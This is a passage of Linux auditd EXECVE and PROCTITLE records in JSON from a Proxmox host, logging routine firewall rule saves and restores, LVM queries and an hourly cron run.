proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965036566,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.566:63734): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964318761,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.761:60519): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965036558,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.558:63731): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.748:60518): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965036037,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.037:63728): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.748:60517): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965036034,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.034:63727): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964318.748:60516): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965036033,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.033:63726): argc=1 a0=\"date\""} {"@timestamp":1781964315700,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.700:60515): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965036029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.029:63724): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964315684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.684:60514): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965036021,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.021:63723): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964315681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.681:60513): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965036013,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.013:63722): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964315681,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.681:60512): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965036004,"@rawstring":"node=pve type=EXECVE msg=audit(1781965036.004:63721): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964315666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.666:60511): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965035997,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.997:63720): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964315560,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.560:60510): proctitle=\"ip6tables-save\""} {"@timestamp":1781965035990,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.990:63718): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964315549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.549:60509): proctitle=\"iptables-save\""} {"@timestamp":1781965035984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.984:63717): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964315540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.540:60508): proctitle=\"ip6tables-save\""} {"@timestamp":1781965035978,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.978:63716): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964315528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.528:60507): proctitle=\"iptables-save\""} {"@timestamp":1781965035970,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.970:63715): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964315520,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.520:60506): proctitle=\"ebtables-restore\""} {"@timestamp":1781965035963,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.963:63714): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964315515,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.515:60505): proctitle=\"ebtables-restore\""} {"@timestamp":1781965035958,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.958:63713): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964315503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.503:60504): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965035944,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.944:63712): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964315492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.492:60503): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965035936,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.936:63711): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964315479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.479:60502): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965035933,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.933:63710): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964315456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.456:60501): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965035929,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.929:63709): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964315349,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.349:60500): proctitle=697073657400726573746F7265"} {"@timestamp":1781965035928,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.928:63708): argc=1 a0=\"date\""} {"@timestamp":1781964315320,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.320:60499): proctitle=\"ip6tables-save\""} {"@timestamp":1781965035924,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.924:63706): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964315293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.293:60498): proctitle=\"iptables-save\""} {"@timestamp":1781965035916,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.916:63705): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964315268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.268:60497): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965035910,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.910:63704): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964315250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.250:60496): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965035905,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.905:63703): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964315249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.249:60495): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965035898,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.898:63702): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964315249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.249:60494): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965035892,"@rawstring":"node=pve type=EXECVE msg=audit(1781965035.892:63701): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964315235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.235:60493): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965034453,"@rawstring":"node=pve type=EXECVE msg=audit(1781965034.453:63700): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964315216,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.216:60492): proctitle=\"ip6tables-save\""} {"@timestamp":1781965034418,"@rawstring":"node=pve type=EXECVE msg=audit(1781965034.418:63699): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964315188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.188:60491): proctitle=\"iptables-save\""} {"@timestamp":1781965031553,"@rawstring":"node=pve type=EXECVE msg=audit(1781965031.553:63698): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964315176,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.176:60490): proctitle=69707365740073617665"} {"@timestamp":1781965031548,"@rawstring":"node=pve type=EXECVE msg=audit(1781965031.548:63695): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964315152,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.152:60489): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965026540,"@rawstring":"node=pve type=EXECVE msg=audit(1781965026.540:63692): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964315117,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964315.117:60488): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965026533,"@rawstring":"node=pve type=EXECVE msg=audit(1781965026.533:63689): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964314423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964314.423:60487): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965025880,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.880:63686): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964314387,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964314.387:60486): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965025876,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.876:63685): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.737:60485): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025874,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.874:63684): argc=1 a0=\"date\""} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.737:60484): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025870,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.870:63682): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964313737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.737:60483): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025864,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.864:63681): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.726:60482): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025858,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.858:63680): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.726:60481): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025851,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.851:63679): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964313726,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964313.726:60480): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025844,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.844:63678): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964308713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.713:60479): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.839:63676): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964308711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.711:60478): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025834,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.834:63675): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964308711,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.711:60477): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025829,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.829:63674): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.691:60476): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025823,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.823:63673): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.691:60475): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025818,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.818:63672): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964308691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964308.691:60474): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965025813,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.813:63671): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964306078,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.078:60473): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965025806,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.806:63670): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964306072,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.072:60472): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965025799,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.799:63669): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964306070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.070:60471): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965025795,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.795:63668): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964306070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.070:60470): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965025792,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.792:63667): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964306064,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.064:60469): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965025791,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.791:63666): argc=1 a0=\"date\""} {"@timestamp":1781964306058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.058:60468): proctitle=\"ip6tables-save\""} {"@timestamp":1781965025787,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.787:63664): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964306049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.049:60467): proctitle=\"iptables-save\""} {"@timestamp":1781965025780,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.780:63663): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964306041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.041:60466): proctitle=\"ip6tables-save\""} {"@timestamp":1781965025773,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.773:63662): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964306033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.033:60465): proctitle=\"iptables-save\""} {"@timestamp":1781965025768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.768:63661): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964306029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.029:60464): proctitle=\"ebtables-restore\""} {"@timestamp":1781965025761,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.761:63660): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964306027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.027:60463): proctitle=\"ebtables-restore\""} {"@timestamp":1781965025753,"@rawstring":"node=pve type=EXECVE msg=audit(1781965025.753:63659): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964306019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.019:60462): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965024336,"@rawstring":"node=pve type=EXECVE msg=audit(1781965024.336:63658): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964306013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.013:60461): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965024310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965024.310:63657): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964306004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964306.004:60460): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=EXECVE msg=audit(1781965021.942:63654): argc=3 a0=\"run-parts\" a1=\"--report\" a2=\"/etc/cron.hourly\""} {"@timestamp":1781964305998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.998:60459): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965021942,"@rawstring":"node=pve type=EXECVE msg=audit(1781965021.942:63653): argc=3 a0=\"/bin/sh\" a1=\"-c\" a2=6364202F2026262072756E2D7061727473202D2D7265706F7274202F6574632F63726F6E2E686F75726C79"} {"@timestamp":1781964305992,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.992:60458): proctitle=697073657400726573746F7265"} {"@timestamp":1781965021938,"@rawstring":"node=pve type=EXECVE msg=audit(1781965021.938:63646): argc=3 a0=\"/usr/sbin/unix_chkpwd\" a1=\"root\" a2=\"chkexpiry\""} {"@timestamp":1781964305984,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.984:60457): proctitle=\"ip6tables-save\""} {"@timestamp":1781965021518,"@rawstring":"node=pve type=EXECVE msg=audit(1781965021.518:63645): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964305976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.976:60456): proctitle=\"iptables-save\""} {"@timestamp":1781965021509,"@rawstring":"node=pve type=EXECVE msg=audit(1781965021.509:63642): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964305969,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.969:60455): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965016501,"@rawstring":"node=pve type=EXECVE msg=audit(1781965016.501:63639): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964305965,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.965:60454): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965016494,"@rawstring":"node=pve type=EXECVE msg=audit(1781965016.494:63636): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964305963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.963:60453): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965015743,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.743:63633): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964305963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.963:60452): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965015740,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.740:63632): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964305958,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.958:60451): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965015739,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.739:63631): argc=1 a0=\"date\""} {"@timestamp":1781964305948,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.948:60450): proctitle=\"ip6tables-save\""} {"@timestamp":1781965015736,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.736:63629): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964305939,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.939:60449): proctitle=\"iptables-save\""} {"@timestamp":1781965015729,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.729:63628): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964305932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.932:60448): proctitle=69707365740073617665"} {"@timestamp":1781965015723,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.723:63627): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964305922,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.922:60447): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965015716,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.716:63626): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964305913,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964305.913:60446): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965015710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.710:63625): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964304240,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964304.240:60445): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965015705,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.705:63623): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964304200,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964304.200:60444): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965015701,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.701:63622): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.673:60443): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015695,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.695:63621): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.673:60442): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015690,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.690:63620): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964303673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.673:60441): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015685,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.685:63619): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.664:60440): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 